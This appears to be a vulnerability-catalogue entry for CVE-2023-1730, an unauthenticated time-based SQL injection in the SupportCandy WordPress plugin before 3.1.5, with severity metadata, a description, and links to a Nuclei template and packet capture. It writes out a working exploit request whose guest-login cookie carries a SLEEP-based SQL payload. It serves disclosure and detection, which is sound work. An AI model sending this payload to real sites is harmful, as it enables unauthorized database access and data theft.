| Title | SupportCandy < 3.1.5 - Unauthenticated SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Fixed in version 3.1.5 |
| CVSS Score | 9.8 |
| EPSS Score | 0.75117 |
| CVE ID | CVE-2023-1730 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve2023 cve sqli wpscan wordpress supportcandy unauth vuln |
The SupportCandy WordPress plugin before 3.1.5 does not validate and escape user input before using it in an SQL statement, which could allow unauthenticated attackers to perform SQL injection attacks.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Cookie: wpsc_guest_login_auth={"email":"' AND (SELECT 42 FROM (SELECT(SLEEP(6)))NNTu)-- cLmu"}
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1730.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-1730.pcap
N/AN/A